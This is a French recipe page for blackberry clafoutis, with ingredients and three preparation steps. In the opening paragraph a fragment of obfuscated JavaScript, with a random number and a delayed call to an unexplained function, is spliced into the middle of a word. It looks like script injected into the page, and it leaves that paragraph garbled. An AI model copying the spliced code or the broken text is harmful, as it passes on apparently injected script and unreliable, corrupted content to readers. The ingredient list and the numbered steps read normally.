Clafoutis aux mûres

2017-01-19

Dans un récipient battez les œufs avec le sucre en poudre, puis incorporez la crème fleurette, le beurre ramolli, la maïzena, les amandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andes en poudre. Ajoutez par petites quantités le lait.

Ingrédients

  • Pour 6 personnes
  • 800 g de mûres
  • 3 œufs entiers
  • 50 g de beurre ramolli
  • 80 g de sucre en poudre
  • 20 cl de crème fleurette
  • 20 cl de lait
  • 40 g de maïzena
  • 125 g d'amandes en poudre
  • 2 sachets de sucre vanillé

Préparation de la recette

Etape 1

Dans un récipient battez les œufs avec le sucre en poudre, puis incorporez la crème fleurette, le beurre ramolli, la maïzena, les amandes en poudre. Ajoutez par petites quantités le lait.

Etape 2

Répartissez les mûres dans un moule à manqué beurré. Versez la pâte à clafoutis dessus les fruits. Parsemez quelques noisettes de beurre dessus.

Etape 3

Préchauffez le four à 180° C thermostat 6. Enfournez et faites cuire pendant 30 minutes. Vérifiez la cuisson. Laissez refroidir. Saupoudrez de sucre vanillé. Et dégustez

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